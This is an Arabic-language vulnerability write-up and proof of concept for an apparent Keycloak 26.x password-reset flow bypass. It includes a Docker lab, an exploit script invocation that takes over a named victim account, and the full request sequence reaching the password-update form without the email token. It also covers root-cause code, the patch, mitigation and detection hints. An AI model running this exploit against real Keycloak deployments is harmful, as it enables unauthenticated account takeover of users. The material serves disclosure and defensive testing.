
PoC، بيئة تجريبية عبر Dockerfile والسبب الجذري من تحليل فرق التصحيح.
إعداد Docker لاختبار إصدارات Keycloak 26.x المتأثرة بتجاوز تدفق إعادة تعيين بيانات الاعتماد. يثبّت المختبر المرفق Keycloak 26.6.2، وهو ضمن النطاق المتأثر (>26.0 و<26.7.2).
المتطلبات: Docker، Docker Compose، Python 3. تم الاختبار مع صورة Docker quay.io/keycloak/keycloak:26.6.2.
docker compose up -d
curl http://127.0.0.1:8080
يبدأ ملف compose خدمة Keycloak 26.6.2 مع مسؤول مؤقت admin/admin-password-for-lab. أنشئ نطاق (realm) ومستخدمًا للاختبار عبر وحدة تحكم المسؤول أو واجهة برمجة تطبيقات REST الخاصة بالمسؤول. يجب تمكين تدفق إعادة التعيين ويجب أن يكون تنفيذ reset-credential-email المدمج قابلاً للوصول.
مثال على الاستيلاء على الحساب (ATO):
python Keycloak_CVE_2026_18963.py \
http://127.0.0.1:8080 --realm <نطاق معروف> --username <ضحية معروف> \
--new-password '<كلمة مرور>' \
--allow-loopback-http-cookie --change-password
خيار ملف تعريف الارتباط الحلقي (loopback-cookie) موجود فقط لمختبر HTTP Docker هذا. التحقق/الاستغلال الناجح
[1 auth] 200
http://127.0.0.1:8080/realms/lab/protocol/openid-connect/auth?client_id=account&response_type=code&scope=openid&redirect_u
ri=http%3A%2F%2F127.0.0.1%3A8080%2Frealms%2Flab%2Faccount
[2 reset] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6
Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[3 selector] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?session_code=Wwe-IHExupWb_ILMjGyo3yEQ2HaXVmJpOs9B0BqonaM&
execution=86392d73-230f-421a-9c65-6fda522eb4e4&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC
4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[4 email execution] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?session_code=28vxgj65L2OrGVnpVsgnRDcuBDMsOQvLxCTTO4AU5hk&
execution=86392d73-230f-421a-9c65-6fda522eb4e4&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC
4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[5 restart] 200
http://127.0.0.1:8080/realms/lab/login-actions/authenticate?client_id=account&tab_id=p6T6Jg9X6Eo&client_data=eyJydSI6Imh0d
HA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[6 stale reset] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6
Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[7 bypass] 200
http://127.0.0.1:8080/realms/lab/login-actions/required-action?execution=UPDATE_PASSWORD&client_id=account&tab_id=D99m6g61
4jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[+] Vulnerable: password-update form reached without email action token
[8 password update] 200
http://127.0.0.1:8080/realms/lab/login-actions/required-action?session_code=SZO0z_bfNhtxJ1akEIZDdrZzNNJfZ8iELQwLsnXYY90&ex
ecution=UPDATE_PASSWORD&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvb
GFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
الاستيلاء على الحساب دون مصادقة عندما تستخدم "نسيت كلمة المرور" تدفق إعادة تعيين بيانات الاعتماد المدمج الضعيف. يتم وضع علامة نجاح على خطوة امتلاك البريد الإلكتروني دون استهلاك رمز الإجراء الخاص بها، مما يقدّم المهاجم إلى UPDATE_PASSWORD.
يجتمع عيبان في آلة الحالة:
tryAnotherWay القيمة AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED=true كقيمة منطقية عامة في جلسة المصادقة. لم تكن مرتبطة بالتنفيذ الذي عرض المحدد، مما سمح لحالة المحدد القديمة بالتأثير على تنفيذ آخر لتدفق إعادة التعيين.ResetCredentialEmail.action() يقبل أي استدعاء:@Override
public void action(AuthenticationFlowContext context) {
context.success();
}
يمكن لتسلسل تدفق إعادة تعيين مصمم بعناية التلاعب بحالة المحدد/التنفيذ الحالي واستدعاء إجراء مصادقة البريد الإلكتروني دون النقر على الرابط المرسل بالبريد. يعامل Keycloak خطوة البريد الإلكتروني كمكتملة ويعرض تنفيذ تحديث كلمة المرور للضحية المحددة.
قد يظل بريد إعادة التعيين يُنشأ ويُسجَّل SEND_RESET_PASSWORD. لا يلزم امتلاك صندوق البريد أو الرمز.
أصبحت حالة المحدد مرتبطة الآن بنموذج التنفيذ الدقيق:
setAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, model.getId());
تتم إزالة الملاحظة إذا لم تطابق CURRENT_AUTHENTICATION_EXECUTION. والأهم من ذلك، يتطلب إجراء البريد الإلكتروني الآن هوية رمز إجراء تطابق مستخدم التدفق:
UserModel user = context.getUser();
String tokenUserId = context.getAuthenticationSession()
.getAuthNote(DefaultActionTokenKey.ACTION_TOKEN_USER_ID);
if (user != null && user.getId().equals(tokenUserId)) {
context.success();
} else {
context.failure(AuthenticationFlowError.INVALID_USER);
}
keycloak-services الضعيف؛ تم تقديم تغيير حالة المحدد القابل للاستغلال في 26.0.0.reset-credential-email المدمج قابلة للوصول ومرتبطة. تعطيل "نسيت كلمة المرور" يمنع هذا المسار.يفتقر Keycloak إلى حدث قاطع "تخطي رمز البريد الإلكتروني". اربط توقيت التدفق وسجلات الوكيل العكسي:
code_id: SEND_RESET_PASSWORD → UPDATE_PASSWORD خلال ثوانٍtryAnotherWay، مباشرة قبل تحديث كلمة المرورGET /login-actions/action-token وسيط، والذي يولده نقرة بريد إلكتروني شرعيةهذا استدلالي: يمكن للمستخدم الذي لديه البريد الإلكتروني مفتوحًا بالفعل إعادة التعيين بسرعة، وغياب الأحداث لا يثبت شيئًا حيث تم تعطيل التسجيل/الاحتفاظ.
ارتباك حالة تدفق المصادقة + نجاح المصادق غير المشروط يتجاوزان فحص الامتلاك. حافة اختبار عامة: كلما أمكن إعادة زيارة تنفيذ مصادقة، أو تبديله بـ"جرّب طريقة أخرى"، أو استئنافه من عنوان URL قديم، تحقق من أن كل مصادق يعيد التحقق من إثباته الخاص بدلاً من الثقة في حالة التدفق المشتركة.
مرجع التصحيح في المصدر: https://github.com/keycloak/keycloak/pull/51844